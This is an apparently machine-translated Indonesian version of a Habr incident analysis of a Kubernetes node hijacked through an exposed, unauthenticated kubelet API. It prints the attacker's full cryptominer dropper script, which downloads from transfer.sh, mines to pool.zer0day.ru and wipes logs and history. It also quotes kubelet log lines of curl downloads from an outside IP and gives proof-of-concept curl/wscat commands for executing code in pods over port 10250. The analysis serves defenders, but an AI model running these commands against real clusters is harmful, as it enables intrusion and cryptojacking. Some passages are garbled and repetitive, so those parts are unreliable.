Analisis hack Kubernetes - backdoor via kubelet


Untuk tidak tahu apa-apa tentang Kubernetes, seseorang harus tinggal di gua selama tiga tahun terakhir. Infrastruktur pengembangan Berguna, CI / CD, dan produksi dibangun di ekosistem multi-kluster Kubernetes. Kita dapat mengatakan bahwa kita adalah penggemar Kubernetes di Handy, itulah sebabnya kami sangat terkejut ketika kluster pribadi Kubernetes rekan kami diretas akhir pekan lalu.


Mereka terkejut - dan bersukacita, karena mereka menemukan di Kubernetes satu kesalahan kecil yang diketahui. Dalam artikel ini, kita akan melihat bagaimana cluster kolega diretas dan bagaimana kami mengkonfirmasi temuan kami dengan menciptakan kembali serangan ini di cluster kami sendiri. Serangan itu diuji di Kubernetes 1.9, tetapi dapat bekerja pada kelompok yang lebih tua.


PENOLAKAN : Artikel ini adalah tentang server pribadi rekan kami. Infrastruktur Handy Technologies belum dikompromikan.


Retas


Cluster yang rusak adalah satu-satunya node penyebaran Kubernet yang berjalan di atas Alpine Linux. Indikator peretasan pertama adalah proses mencurigakan yang bekerja sebagai proses anak dari daemon buruh pelabuhan:


/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B 

pengeritingan titik akhir menghasilkan teks berikut:


 Mining Proxy Online 

Tampaknya seseorang telah menemukan cara untuk menempatkan perangkat lunak crypto-mining ke dalam wadah yang berfungsi dan memulai prosesnya.


Saat mencari file udevs di direktori overlay docker untuk kontainer (/ var / lib / docker / overlay2 / b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7) , itu adalah unduh yang diunduh dengan skrip dropper dengan unduhan yang di-unduh dengan skrip unduh dengan unduhan yang diunduh dengan skrip dropper dengan unduhan yang di-unduh dengan skrip Dropper.


 #!/bin/bash yum install wget -y apt-get install wget -y PS2=$(ps aux | grep udevs | grep -v "grep" | wc -l) if [ $PS2 -eq 0 ]; then rm -rf /tmp/udevs* wget https://transfer.sh/JyRqn/nodepadxx --no-check-certificate -O /tmp/udevs fi if [[ $? -ne 0 && $PS2 -eq 0 ]]; then curl -sk https://transfer.sh/JyRqn/nodepadxx -o /tmp/udevs fi chmod +x /tmp/udevs chmod 777 /tmp/udevs if [ $PS2 -eq 0 ]; then /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B fi if [[ $? -ne 0 && $PS2 -eq 0 ]]; then echo $? wget https://transfer.sh/9uRre/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/glibc-2.14.tar.gz -C /tmp/ && export LD_LIBRARY_PATH=/tmp/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B && echo "" > /var/log/wtmp && echo "" > /var/log/secure && history -c fi 

Selain itu, tanda tangan MD5 (a4404be67a41f144ea86a7838f357c26) untuk program / tmp / udevs di VirusTotal didefinisikan sebagai kemungkinan Monero Miner:



Jadi, kita tahu bahwa cracker entah bagaimana menempatkan skrip kube.lock di dalam wadah dan menjalankannya. Tapi bagaimana caranya?


Akses publik untuk server api kubernetes terbuka, tetapi dilindungi oleh otentikasi sertifikat. Pertama-tama, kami melakukan serangan pada rantai pasokan dari salah satu gambar yang bekerja di cluster. Namun, setelah mempelajari log kubelet, kami memperhatikan sesuatu:


 /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing ' dari runtime /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing 

Sepertinya cracker itu entah bagaimana exec exec di kubelet. Google atas permintaan "Otentikasi Kubelet" mengeluarkan teks dari dokumentasi Kubernetes:


Secara default, permintaan ke titik akhir HTTPS kubelet yang tidak ditolak oleh metode otentikasi terkonfigurasi lainnya diperlakukan sebagai permintaan anonim dengan sistem: nama pengguna anonim dan sistem: grup tidak terauthentikasi .

Otentikasi / otorisasi Kubelet


Jika tidak ada flag yang ditentukan di Kubelet, maka secara default mode penerimaan permintaan API yang tidak lolos otentikasi digunakan. Perlu diingat bahwa agar tautan master -> node berfungsi, server API Kubernetes harus bertukar informasi dengan kubelet pada node tersebut.


Ternyata, server rekan kami juga secara terbuka mengekspos port kubelet (tcp 10250, tcp 10255). Meskipun kesalahan sudah jelas, alangkah baiknya untuk memeriksa bagaimana Kubernet Anda digunakan.


Jika pengguna memiliki akses ke node, maka kubelet API adalah backdoor yang berfungsi penuh untuk cluster yang belum lulus otentikasi API.


Oleh karena itu, jika Anda memiliki masalah dalam mengaktifkan otentikasi dan otorisasi (webhook, RBAC, dll.), Pastikan kubelet dilindungi.


Ada pertanyaan serius tentang keamanan komunikasi Kubelet, dan masalah ini patut mendapat perhatian lebih.


Bukti konsep


Untuk mengirim perintah langsung ke kubelet, Anda harus menggunakan API seperti yang dijelaskan di sini:



Kubelet mendengarkan pada dua port: 10255 dan 10250. Yang pertama adalah port HTTP read-only, dan yang kedua adalah port HTTPS yang dapat melakukan apa saja.


Pilih sembarang simpul dalam gugus dan coba daftar polong:


 curl --insecure https://kube-node-here:10250/pods | jq 

Rute untuk exec , yang tidak didokumentasikan pada halaman kubelet, mirip dengan rute server API, tetapi membutuhkan dua permintaan: POST awal dan GET berikutnya dengan klien yang mendukung SPDY (atau klien websocket, yang juga didukung).


Jalankan perintah dalam wadah yang berjalan melalui kubelet.


Temukan yang berjalan pada node yang ingin Anda targetkan pada permintaan sebelumnya. Jalankan kueri berikut dengan curl:


 curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1" 

Ini akan mengembalikan respons dengan kode 302, yang dialihkan ke aliran:


 < HTTP/2 302 < location: /cri/exec/PfWkLulG < content-type: text/plain; charset=utf-8 < content-length: 0 < date: Tue, 13 Mar 2018 19:21:00 GMT 

Gunakan wscat untuk memulai streaming:


 wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check connected (press CTRL+C to quit) < < disconnected 

Karena kami baru saja touch hello_world , ia membuat file dan memutusnya. Jika Anda ingin menjalankan perintah dengan output, Anda akan melihat hasilnya setelah mengeksekusi perintah di atas.


Kesimpulan


Meskipun perilaku ini konsisten dengan dokumentasi, banyak yang tidak tahu bahwa tanpa konfigurasi yang tepat, mereka mendapatkan lubang keamanan di lingkungan multi-pengguna Kubernetes.


Kami telah membahas salah satu masalah keamanan di Kubernetes. Komentar!


Patch 14 Maret 2018


Setelah penelitian mendalam, tampaknya bahkan dengan otentikasi Kubelet diaktifkan, itu hanya berlaku untuk port HTTPS (10250). Ini berarti bahwa port HTTP hanya baca (10255) masih tetap terbuka tanpa fitur keamanan apa pun selain ACL jaringan.


Port baca dapat mencantumkan spesifikasi perapian pada rute /pods , yang berarti akses ke data sensitif, seperti variabel lingkungan.


Hanya 28 hari yang lalu, kode diubah sehingga port yang tidak aman dinonaktifkan secara default.


Asli: Analisis peretasan Kubernet - Backdooring melalui kubelet

Source: https://habr.com/ru/post/id413565/


All Articles